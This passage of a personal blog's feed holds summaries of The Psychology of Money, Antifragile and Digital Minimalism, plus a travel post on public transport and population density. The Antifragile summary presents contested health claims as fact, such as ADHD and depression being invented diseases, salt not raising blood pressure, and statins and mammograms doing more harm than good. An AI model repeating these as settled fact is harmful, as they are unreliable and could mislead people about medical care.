]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Book summary: The Psychology of Money by Morgan Housel</title><link href="https://ashishb.net/book-summary/the-psychology-of-money/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/digital-minimalism/?utm_source=atom_feed" rel="related" type="text/html" title="Digital Minimalism by Cal Newport"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><link href="https://ashishb.net/book-summaries/natural-baby-sleep-solution/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Natural Baby Sleep Solution by Polly Moore"/><id>https://ashishb.net/book-summary/the-psychology-of-money/</id><author><name>Ashish Bhatia</name></author><published>2021-08-01T16:00:56+00:00</published><updated>2021-08-01T16:00:56+00:00</updated><content type="html"><![CDATA[<blockquote>Discover essential insights on money from individual psychology, not markets. Learn about behavior&rsquo;s impact on wealth and timeless strategies for financial success.</blockquote><p>The   
    
    
<a href="https://amzn.to/36nZUuI?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is a great read about how money and wealth are acquired, preserved, and lost. And that too not because of the market but because of the individual&rsquo;s psychology.</p>
<ol>
<li>Doing well with money has little to do with how smart you are and a lot to do with how you behave. How you behave is more important than what you know. There is no reason to risk what you have and need for what you don’t have and don’t need.   
    
    
<a href="https://en.wikipedia.org/wiki/Jesse_Livermore?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Jesse Livermore</a> became a billionaire by shorting the market in 1929. He lost everything in 1932.</li>
<li>We all think we know how the world works. But we’ve all only experienced a tiny sliver of it. Bill Gates experienced one in a million luck by ending up at Lakeside.   
    
    
<a href="https://gripped.com/news/bill-gatess-first-best-friend-died-mountain-climbing-at-17/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kent Evans</a> experienced one in a million risks when he died in mountain climbing instead. He never got to finish what he and Gates set out to achieve. The same force, the same magnitude, working in opposite directions.</li>
<li>Everyone has their own unique experience with how the world works. And what you’ve experienced is more compelling than what you learn second-hand. Kennedy, in the 1950s, mentioned that I really did not learn about the Great Depression in 1929 until he read about it at Harvard.</li>
<li>Someone else’s failure is usually attributed to bad decisions, while your own failures are blamed on the risk manifesting itself. When judging your failures I’m likely to prefer a clean and simple story of cause and effect, because I don’t know what’s going on inside your head.</li>
<li>Imagining a goal is easy and fun. Imagining a goal in the context of the real-life stresses that grow with competitive pursuits is something entirely different. Define the cost of success and be ready to pay it.</li>
<li>Wealth is financial assets that haven’t yet been converted into the stuff you see. You might think you want an expensive car, a fancy watch, and a huge house. But I’m telling you, you don’t. What you want is respect and admiration from other people, and you think having expensive stuff will bring it. It almost never does—especially from the people you want to respect and admire. One of the most powerful ways to increase your savings isn’t to raise your income. It’s to raise your humility. No one is impressed with your possessions as much as you are.</li>
<li>Moderately cool summers, not cold winters, were responsible for the ice age. Avoiding downside is more important than ensuring a higher upside.</li>
<li>Academic finance is devoted to finding mathematically optimal investment strategies. In the real world, people do not want the mathematically optimal strategy. They want a strategy that maximizes how well they sleep at night. The historical odds of making money in U.S. markets are 50/50 over one-day periods, 68% in one-year periods, 88% in 10-year periods, and (so far) 100% in 20-year periods. Anything that keeps you in the game has a quantifiable advantage.</li>
<li>Buffett&rsquo;s skill is investing, but his secret is time. Charlie, Warren, and   
    
    
<a href="https://finance.yahoo.com/news/case-study-fall-rick-guerin-170021290.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rick</a> were equally skilled at getting wealthy. But Warren and Charlie had the added skill of staying wealthy. Which, over time, is the skill that matters most. The more you need specific elements of a plan to be true, the more fragile your financial life becomes. History is littered with good ideas taken too far, which are indistinguishable from bad ideas. If the cost of the downside is ruin, the upside the other 95% of the time likely isn’t worth the risk, no matter how appealing it looks. Your success as an investor will be determined by how you respond to punctuated moments of terror, not the years spent on cruise control.</li>
<li>End of History Illusion is what psychologists call the tendency for people to be keenly aware of how much they’ve changed in the past, but to underestimate how much their personalities, desires, and goals are likely to change in the future.</li>
<li>Pessimism just sounds smarter and more plausible than optimism. Growth is driven by compounding, which always takes time. Destruction is driven by single points of failure, which can happen in seconds, and loss of confidence, which can happen in an instant. Every job looks easy when you’re not the one doing it.</li>
<li>Incomes among brothers are more correlated than height or weight.</li>
<li>Power law: In the early 19th century, The great investors bought vast quantities of art, some of that turn out to be worth several times more the entire portfolio. The $8 million Snow white and the seven dwarfs earned in the first six months of 1938 was an order of magnitude higher than anything the Walt Disney company earned previously. Effectively all of the index’s overall returns came from 7% of component companies that outperformed by at least two standard deviations.</li>
<li>Traders, speculators, and investors play different games. The rewards for correctly predicting what the stock market will do next week are in a different universe than the rewards for predicting what it will do over the next decade. I am just as susceptible to explaining the world through the limited set of mental models one has at their disposal.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Book summary: Antifragile by Nassim Nicolas Taleb</title><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><link href="https://ashishb.net/book-summary/digital-minimalism/?utm_source=atom_feed" rel="related" type="text/html" title="Digital Minimalism by Cal Newport"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><id>https://ashishb.net/book-summary/antifragile/</id><author><name>Ashish Bhatia</name></author><published>2021-07-03T16:00:17+00:00</published><updated>2021-07-03T16:00:17+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the power of antifragility with insights from Taleb&rsquo;s Incerto series. Learn how systems can benefit from uncertainty and why nature favors the antifragile.</blockquote><p>Another great   
    
    
<a href="https://amzn.to/3qMi7Le?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">read</a> in the 
<a href="/tag/taleb/">Incerto series</a> by 
<a href="/tag/taleb/">Taleb</a>. The core idea is that certain systems benefit from uncertainty. And our goal should be to make all systems antifragile, so that, they can benefit from uncertainty.</p>
<h3 id="antifragility">Antifragility</h3>
<blockquote>
<p>Fragile breaks under stress. Robust is unimpacted by stress.  Antifragile benefits from stress.</p></blockquote>
<ol>
<li>Fragile breaks under stress. Robust is unimpacted by stress.  Antifragile benefits from stress. Glass is fragile, wood is robust while human muscles are antifragile (up to certain limits). Anything that has more upside than downside from a random event is antifragile; the reverse is fragile.</li>
<li>It is far easier to figure out if something is fragile than to predict the occurrence of an event that may harm it. Fragility is a rachet, damage is irreversible. a broken package does not repair itself.</li>
<li>Nature likes to overinsure itself against complete unknowns. Nature assumes that never-seen-before harm is possible.</li>
<li>The secret of life is antifragility. Everything that has life is to some extent antifragile (but not the reverse). Relying on predictions makes you fragile to prediction errors.</li>
<li>One should not have antifragility at the expense of the fragility of others. Modern-day &ldquo;too big to fail&rdquo; banks have antifragility while they transfer fragility to the customers and society at large.</li>
<li>Phenomenology is the observation of an empirical regularity without a visible theory to it. <strong>Theories are fragile, phenomenology is robust.</strong> Our understanding of biological processes has led to declining in pharmaceutical discoveries over time.</li>
<li>Social sciences are fragile; physical sciences aren&rsquo;t. During the cold war, the Physics department of the University of Chicago and Moscow agreed with each other while the economics department taught the exact opposite of each other.</li>
<li>100% medium-risk securities have a wipe-out risk. <strong>90% cash + 10% high-risk securities don&rsquo;t, they are antifragile. This barbell approach is safer.</strong></li>
<li>For the antifragile, the good news is missing from the past data. For the fragile, bad news does not show up easily. The reinsurance business is antifragile. One single episode of the   
    
    
<a href="https://www.theguardian.com/money/2000/nov/04/business.personalfinancenews1?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Asbestos liabilities</a> bankrupted the Lloyd family while Harvard professor Kenneth Froot thought that the reinsurer made too much profit.</li>
<li>Philosophers talk about truth and falsehood. Real-life cares about payoffs. They are not necessarily the same thing.</li>
<li>Human lungs when put on mechanical ventilators with constant pressure fail.   
    
    
<a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1578266/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Dispensing</a> high pressure on occasions and low pressure at other times is much better. It also opens up collapsed alveoli. <strong>Humans are antifragile to lung pressure.</strong></li>
<li>A complex regulation is fragile. The regulators who know the loops and glitches would use it later as his differential edge for unethical but legal gains.</li>
<li>Systems that emerge over time make small errors. Designs, however, make large errors.</li>
<li>Lindy Effect - A 1000-year-old book in publication will last another 1000 years. A 10-year-old will last another 10. The older something survives, has a reason for its survival, the longer it will last.</li>
</ol>
<h3 id="entrepreneurship">Entrepreneurship</h3>
<blockquote>
<p>Wealth leads to the rise of education and not vice versa.</p></blockquote>
<ol>
<li>Technology is the result of antifragility, exploited by risk-takers, in the form of tinkering and trial and error, with nerd-driven design confined to the backstage.</li>
<li>An overconfident entrepreneur takes a heroic risk that might result in a benefit for others. An overconfident scientist whose risk computations lead to the Fukushima disaster leads to negative Black Swans. The former overconfidence is good, the latter is bad.</li>
<li>Growth in society may not come from raising the average but increasing the number of people in the tails. A very small number of them will be crazy enough to have ideas of their own, imagination, and rcourage to make things happen. Life is long gamma (positive/negative changes into inputs lead to exponentially positive/negative outcomes).</li>
<li>Greeks had steam-based turbines, an   
    
    
<a href="https://en.wikipedia.org/wiki/Aeolipile?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">aeolipile</a>, for amusement. But not till the industrial revolution, it was used for industrial work. Mayans had wheels, for children&rsquo;s toys while they used human labor for agriculture. <strong>Practical inventions create theoretical ancestry.</strong> The significance can only be revealed through practice though. The naive rationalism though encourages academic knowledge over uncodifiable, more complex, intuitive, and experience-based knowledge.</li>
<li>Like Britain, in the industrial revolution, America&rsquo;s asset is risk-taking with the use of optionality without the fear of failing.</li>
<li><strong>Wealth   
    
    
<a href="https://papers.ssrn.com/sol3/papers.cfm?abstract_id=569239&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">leads</a> to the rise of education and not vice versa.</strong> In 1960, Taiwan had a much lower literacy rate than the Philippines and half the per-capita income. Today, it has Taiwan has 10 times the income of the Philippines. Korea had a much lower literacy rate than Argentina and one-fifth of the per-capita income, today it has three times as much. Over the same period, sub-Saharan Africa saw a markedly increased rate of literacy all the while with a decrease in their standards of living. Universities prosper as a consequence of the national wealth and not vice versa.</li>
</ol>
<h3 id="human-fallibility">Human fallibility</h3>
<ol>
<li>It is better to make the world greed-proof and make society benefit from the greed and other perceived defects of the human race than to eliminate it.</li>
<li>Human learning is context-dependent. We learn in a situation and then fail to apply the same learning outside that situation.</li>
<li>Humans are bad at filtering short-term information. Procrastination is a way of filtering.</li>
<li>Excess wealth, if you don&rsquo;t need it, is a heavy burden. When you become rich, the pain of losing your fortune exceeds the emotional gain, so, you start living under continuous emotional threat. Seneca&rsquo;s approach was to mentally write off such possessions, so that, when losses occur, he won&rsquo;t feel the sting.</li>
<li>Wisdom is more important than knowledge in decision-making.</li>
<li>Teleological fallacy - you know where you are going, you know where you were going, and others have succeeded in the past by knowing where they are going. Flâneur is not a prisoner of the plan. He decides on-the-fly.
<ul>
<li>Coca-cola began as a pharmaceutical product.</li>
<li>Tiffany, the jewelry company as a stationery store.</li>
<li>Raytheon, the missile maker, was a refrigerator maker.</li>
<li>Nokia as a paper mill.</li>
<li>DuPont was an explosives company.</li>
</ul>
</li>
<li>Does the scientific researcher whose ideas apply to the real world, applied to his daily life? If so, take him seriously. An academic claimed making beyond $50,000   
    
    
<a href="https://business.time.com/2012/04/19/why-50000-may-be-the-new-happiness-tipping-point/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">does not</a> bring additional happiness. However, he was always looking for paid speaking engagements despite his salary being twice that. <strong>This alone concludes that his research was theoretical.</strong></li>
<li>Champagne Socialists live a luxurious life while preaching austerity for others.</li>
<li>Someone speaking against their self-interest should be given weightage. For example, if a big pharma executive says that Diabetes can be cured with   
    
    
<a href="https://www.crossfit.com/essentials/why-were-starvation-diets-promoted-for-diabetes-in-the-pre-insulin-period?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">starvation</a>.</li>
<li>Never ask someone for their opinion or recommendation. Ask what&rsquo;s in their portfolio.</li>
</ol>
<h3 id="narratives-are-dangerous">Narratives are dangerous</h3>
<ol>
<li>Optionality is fore-thinking while narratives are after-thinking (cherry-picking to fitting theories into past events after the events). We fall for narratives and overestimate the role of good-sounding ideas.</li>
<li>Cherry-picking or Fallacy of confirmation - The one telling and publishing the story has the advantage of showing confirmatory examples and ignoring the rest.</li>
<li><strong>People who rely on really complicated tricks miss elementary things.</strong> During the Iraq war in 2003, many fund managers had a war-room setup and missed out on the basic fact that a pre-announced war has already been priced into the oil prices. The oil prices, instead of rising, crashed.</li>
<li>A child does not need to solve aerodynamics equations to ride a bicycle. A Chicago pit trader does not need to know the   
    
    
<a href="https://en.wikipedia.org/wiki/Girsanov_theorem?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Girsanov theorem</a> either.</li>
<li>Most technologies, especially complex ones, are like cooking than Physics. Computer technology advanced unpredictably and in a self-directed way, the &ldquo;science&rdquo; helped but it never set the direction, rather it was a slave to it.</li>
<li>History has been written by those who want you to believe that reasoning has a (near) monopoly on the production of knowledge.</li>
<li>Schools deprive people of erudition by squeezing people into a narrow set of authors.</li>
<li>Obvious decisions require no more than a single reason.</li>
<li>What is being marketed is necessarily inferior or it won&rsquo;t require marketing. That&rsquo;s why Coca-cola has to create a campaign to associate itself with happiness.</li>
</ol>
<h3 id="randomness">Randomness</h3>
<p>It is illusory to believe that randomness is risky.</p>
<ol>
<li>A taxi driver&rsquo;s income is random, some good days and some bad days. While an employee&rsquo;s income is fixed but the risks are hidden. An employee&rsquo;s income can go to zero after a single call from the HR department. The centralized state resembles an employee; the city-states resemble a taxi driver.</li>
<li>Every plane crash makes the next one less likely. <strong>However, every bank crash makes the next one more likely due to the interconnectedness of the global economic systems.</strong> We need to eliminate the second type of error. The restaurant industry is anti-fragile as the failure of one does not lead to another while in the banking industry it does. When randomness is distributed across a large number of small units, we get benign Mediocristan. When it concentrates, we get the sneaky Extremistan.</li>
<li>When some systems are stuck in a dangerous impasse, the only randomness can unlock and set them free.</li>
<li>Adding a certain number of randomly selected politicians can   
    
    
<a href="https://www.researchgate.net/publication/50292124_Accidental_Politicians_How_Randomly_Selected_Legislators_Can_ImproveParliament_Efficiency?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">improve</a> the political process.</li>
<li>In complex systems, there is no stability without volatility. Reducing American intervention can make other countries more stable.</li>
<li>Data is toxic in moderate to large quantities. Unfortunately, it is ample in the modern world.</li>
<li>Artists, authors, and even philosophers are much better off having a small number of fanatic supporters than a large number of those who appreciate the work.</li>
<li>Averages are of no significance if one is fragile to variations.</li>
</ol>
<h3 id="size-invariance---things-that-dont-scale-with-the-size">Size invariance - things that don&rsquo;t scale with the size</h3>
<ol>
<li>Some transformations are not scale-invariant, they behave marked differently at a 100x scale. <strong>A large state is not a giant municipality, just like a baby does not resemble a small adult.</strong> We, humans, have traditionally lived in small tribes and know how to manage the small units better than the large ones. That&rsquo;s why a federal system like Switzerland where the cantons are relatively independent in decision-making work so well. <strong>Stalin could not have existed in a municipality.</strong> By creating large nation-states, we put civil servants in a position to make decisions based on abstract and theoretical matters, with the illusion that they will be making them in a rational accountable way.</li>
<li>The thinker lacking a word/narrative is handicapped, the doer isn&rsquo;t. <strong>A small company can follow the profits with or without a good-sounding story, a big company needs can only do things that fit a narrative</strong>.</li>
<li>Central planning leads to famines as large states are inflexible with procurement. China killed 30 million between 1959 and 1961, the famine was more severe in the areas with higher food production before 1959, meaning that the government policy of food distribution   
    
    
<a href="https://www0.gsb.columbia.edu/faculty/pyared/papers/famines.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">caused</a> this problem.</li>
</ol>
<h3 id="intervention-in-complex-systems">Intervention in complex systems</h3>
<blockquote>
<p>If nature ran the economy, it would not continuously bail out its living members to make them live forever.</p></blockquote>
<ol>
<li>
<p>A complicated system has a hard-to-explain behavior. A complex system, however, has interdependencies. The stock market is a complex system. A washing machine is a complicated system. <strong>It is a mistake to confuse a complex system with a complicated one.</strong> An economy, unlike a car, does not require regular maintenance.</p>
</li>
<li>
<p>For a system to be antifragile, some parts of it have to be fragile. Fragile human cells impart antifragility to the human body. If nature ran the economy, it would not continuously bail out its living members to make them live forever. Paradoxically, many government bailouts end up hurting the weak and consolidating the established. <strong>Anti-fragility of a higher level may require fragility and sacrifice of the lower one.</strong></p>
</li>
<li>
<p>Light controls work while close controls lead to overreaction, sometimes causing the machinery to break into pieces.</p>
</li>
<li>
<p>It is much easier to sell &ldquo;Look what I did for you&rdquo; than to sell &ldquo;what I avoided for you&rdquo;. <strong>No one becomes a hero for a non-action.</strong> And that&rsquo;s why policymakers are prone to interventionism. A doctor that says no to a complex expensive surgery as oppose to self-healing will not be rewarded as opposed to the one that makes it look indispensable.</p>
</li>
<li>
<p>Complex systems are hard to analyze from a cause-effect perspective. The fat-free movement happened because when carbohydrates and fats were consumed, only fats showed the responsibility. Similarly, the link between salt consumption and blood pressure rise does not exist. (ashishb&rsquo;s note: it is still heavily debated, see this   
    
    
<a href="https://www.crossfit.com/essentials/the-political-science-of-salt?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">detailed article</a>)</p>
</li>
<li>
<p>Iatrogenic, literally, harm caused by a healer is the term used in the medical community for the harm that doctors cause. When you medicate a child for an invented disease like ADHD or depression, the long-term iatrogenic harm is largely unaccounted for. (ashishb&rsquo;s note: Iatrogenic is the third   
    
    
<a href="https://www.ncbi.nlm.nih.gov/books/NBK430763/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">leading cause of death</a> in the US).</p>
<ol>
<li>Thalidomide reduced nausea in pregnant women, an immediate benefit, it led to birth defects, a delayed adverse effect.</li>
<li>Diethylstilbestrol harmed the fetus and lead to cancer in daughters.</li>
<li>In the 1940s and 1950s, many kids received radiation therapy for acne, birthmarks, etc. 7% suffered thyroid cancer 20-40 years later.</li>
<li>Metric lowering drugs like Statins are worse. If the doctor does not prescribe then they will be sued for negligence. And if they do, then it fixes the metrics without fixing the underlying problem. The side effects will show up much later.</li>
<li>Back surgery to   
    
    
<a href="https://qz.com/1010259/the-100-billion-per-year-back-pain-industry-is-mostly-a-hoax/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cure</a> sciatica, spinal cord compression, is mostly useless after 6 years.</li>
<li>Mammograms to look for breast cancer   
    
    
<a href="https://www.komen.org/breast-cancer/screening/mammography/benefits-risks/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">do not</a> lead to an increase in life expectancy. It might even decrease it. The doctor, seeing the tumor, has to act with radiation/chemotherapy that has iatrogenic associated. While all malignant tumors do not lead to death.</li>
<li>Religion might have saved people by keeping them away from the doctor while the body repaired itself.</li>
</ol>
</li>
<li>
<p>Capitalism is an inverse-iatrogenic system where selfish aims are converted into the benefit for the collective.</p>
</li>
</ol>
<h3 id="eating">Eating</h3>
<ol>
<li>The non-natural need to prove its benefits and not the natural approach. In a complex system, a long time of survival is the only evidence. Many people will benefit by removing things that didn&rsquo;t exist in the ancestral habitat: sugars, what products, milk (for non-European origin), Sodas, and wines (for Asians), vitamin pills, and painkillers.</li>
<li>It&rsquo;s not just the calories in the food that counts, the frequency and its variation also matter. Even if we agree on a balanced diet, it is wrong to assume that every meal should be balanced. The order matters. Deprivation is a stressor and that allows for adequate recovery. In fact, our ancestors used to consume proteins in lumps and other nutrients in a more distributed fashion.</li>
<li>Historically, humans didn&rsquo;t eat in the morning without doing physical work first.</li>
</ol>
<h3 id="misc">Misc</h3>
<ol>
<li>A loser is someone who does not introspect after a loss. He considers himself a victim of some large plot, a bad boss, or bad weather.</li>
<li>Mithridatization - small doses of poison make you immune to the large doses.</li>
<li>Hormesis - when small doses of the harmful substances are beneficial. <strong>Harm is dose-dependent</strong>. A balanced meal is bad, it deprives you of hormesis.</li>
<li>When a country doesn&rsquo;t have debt then it doesn&rsquo;t care about its reputation in the economic circles. And it is only when it doesn&rsquo;t care about its debt that it tends to have a good one.</li>
<li>Central banks can print money with no effect and then &ldquo;unexpectedly&rdquo; there is a jump in inflation. That&rsquo;s how non-linearity operates.</li>
<li>Never trust the words of a man who is not free. A free man is someone free of his opinions as a side effect of being free with his time.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/taleb" term="taleb" label="taleb"/></entry><entry><title type="html">When can you count on public transport while traveling?</title><link href="https://ashishb.net/travel/public-transport-guide/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/hotels-vs-airbnb-vs-hostels/?utm_source=atom_feed" rel="related" type="text/html" title="Hotels vs Airbnb vs Hostels"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><link href="https://ashishb.net/short-stories/crowded-or-popular-exclusive-or-deserted/?utm_source=atom_feed" rel="related" type="text/html" title="Crowded or Popular? Exclusive or deserted?"/><id>https://ashishb.net/travel/public-transport-guide/</id><author><name>Ashish Bhatia</name></author><published>2021-06-12T16:00:45+00:00</published><updated>2021-06-12T16:00:45+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the ins and outs of public transport in travel destinations. Learn how population density impacts availability and plan your journey smartly!</blockquote><p>I love taking public transport while traveling.
One, not only, gets a chance to see the lifestyles of the locals but also becomes more familiar with the new area.
So, when can one count on public transport while traveling? 
<a href="/travel/cusco-peru/">Peru</a> and 
<a href="/travel/ecuador/">Ecuador</a> had great public transport,
both short and long-distance.

<a href="/travel/dominica/">Dominica</a> had mediocre, 
<a href="/travel/aruba/">Aruba</a> had just one bus going around the island&rsquo;s outer road.

<a href="/travel/maui-hawaii/">Hawai&rsquo;i</a> has mediocre. 
<a href="/travel/dominican-republic/">The Dominican Republic</a> has great public transport for both short and long-distance.
So, why is this the case?</p>
<p>Here&rsquo;s my general rule of thumb:</p>
<p>If the place has a high population then the public transport is commercially sustainable because of the local population.
For example, Cusco in 
<a href="/travel/cusco-peru/">Peru</a> (1100/km2), Quito in 
<a href="/travel/ecuador/">Ecuador</a> (5400/km2),
or Santo Domingo in the Dominican Republic(1200/km2) have a high population density.</p>
<p>But if it has a low population density then the public transport would be infrequent or even entirely non-existent.
For example, 
<a href="/travel/maui-hawaii/">Maui</a> in Hawai&rsquo;i(40/km2), 
<a href="/travel/aruba/">Aruba</a>(600/km2), or Roseau in 
<a href="/travel/dominica/">Dominica</a>(380/km2).
In fact, if the area is sparse enough, like the islands of 
<a href="/travel/french-polynesia-the-basics/">French Polynesia</a>,
then it is possible then an impromptu taxi booking would not be possible and a pre-booked tour would be the only choice.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/travel" term="travel" label="travel"/></entry><entry><title type="html">Digital Minimalism by Cal Newport</title><link href="https://ashishb.net/book-summary/digital-minimalism/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><id>https://ashishb.net/book-summary/digital-minimalism/</id><author><name>Ashish Bhatia</name></author><published>2021-06-01T16:00:44+00:00</published><updated>2021-06-01T16:00:44+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Digital Minimalism: Focus on meaningful tech use, enhance solitude, and cultivate purposeful leisure for a balanced digital lifestyle</blockquote><p>  
    
    
<a href="https://amzn.to/37aPgso?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Digital Minimalism</a> is a philosophy of technology in which you focus your online time on a few carefully selected activities that support the things you value.</p>
<ol>
<li>Addiction is a condition in which a person engages in the use of a substance or in s behavior for which the rewarding effects provide a compelling incentive to repeatedly pursue a behavior despite detrimental consequences. The outcome of posts or pull-to-refresh is hard to predict and that unpredictability makes it even more appealing.</li>
<li>Digital minimalist thinks carefully before adding a new tool to their toolbox. Even after they add new technology to their toolbox, they remain careful about how to use it. This contrasts with a digital maximalist who signs up for random services thinking that it might benefit him.   
    
    
<a href="https://en.wikipedia.org/wiki/Amish?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Amish</a> start with the things they value most and then work backward to ask whether a given technology perform more good than harm or not. An alpha geek, after taking permission from the Bishop, try new technology, and the whole community will observe this person to decide whether the technology is more useful than harmful or not.</li>
<li>Solitude requires that you move past reacting to the information created by others and focus instead on your own thoughts and experiences. Unhurried self-reflection brings new insights. It reduces anxiety. Constant connectivity and lack of solitude have impacted kids born after 1995. Mental health issues, especially anxiety, have spiked drastically in this generation.</li>
<li>One acceptable form of social media is to use it for connections and not conversations. So, use social media to set up in-person conversations or send practical information but not for casual browsing. In that case, remove all social media apps from the phone. And use the websites occasionally from the desktop. Social media companies optimize their product for mobile usage. If you continue to use any services, <strong>give up on their mobile versions</strong> completely. Remove mobile apps. And access them solely via desktop. One positive side-effect of removing the apps is that you realize how little benefit these services usually bring to your life. A different way to <strong>declutter</strong> is to take a complete break for 30-days from all such non-essential services and then slowly and carefully reintroduce the relevant ones into your life.</li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Financial_independence?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">FI community</a> fills their free hours with high-stress activities or active leisure. For example,   
    
    
<a href="https://www.mrmoneymustache.com/about/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mr. Money Mustache</a> and   
    
    
<a href="https://www.frugalwoods.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Frugal Woods</a>.  In-person board games allow one to experience nuanced social interactions while at the same time, the role play restarts as soon as the new game starts, so, with little downside, it helps us experience complex rich social interactions that our brains have been trained for. Prioritize demanding activity over passive consumption. Use skills to produce valuable things in the physical world. Seek activities that require real-world structured social interactions.</li>
<li>Rather than giving up on digital tools, especially social media, first cultivate <strong>high-quality leisure activities</strong>. That will help minimize the need for low-quality digital diversions. Schedule in advance the time you are going to spend on low-quality leisure and give yourself full freedom at that time. This strategy not only forces you to fill the rest of the time with high-quality leisure but also does not ask you to give up social media completely. Abstention activates subtle psychologies and having a fixed time to still be able to access low-quality leisure prevents those activations.</li>
</ol>
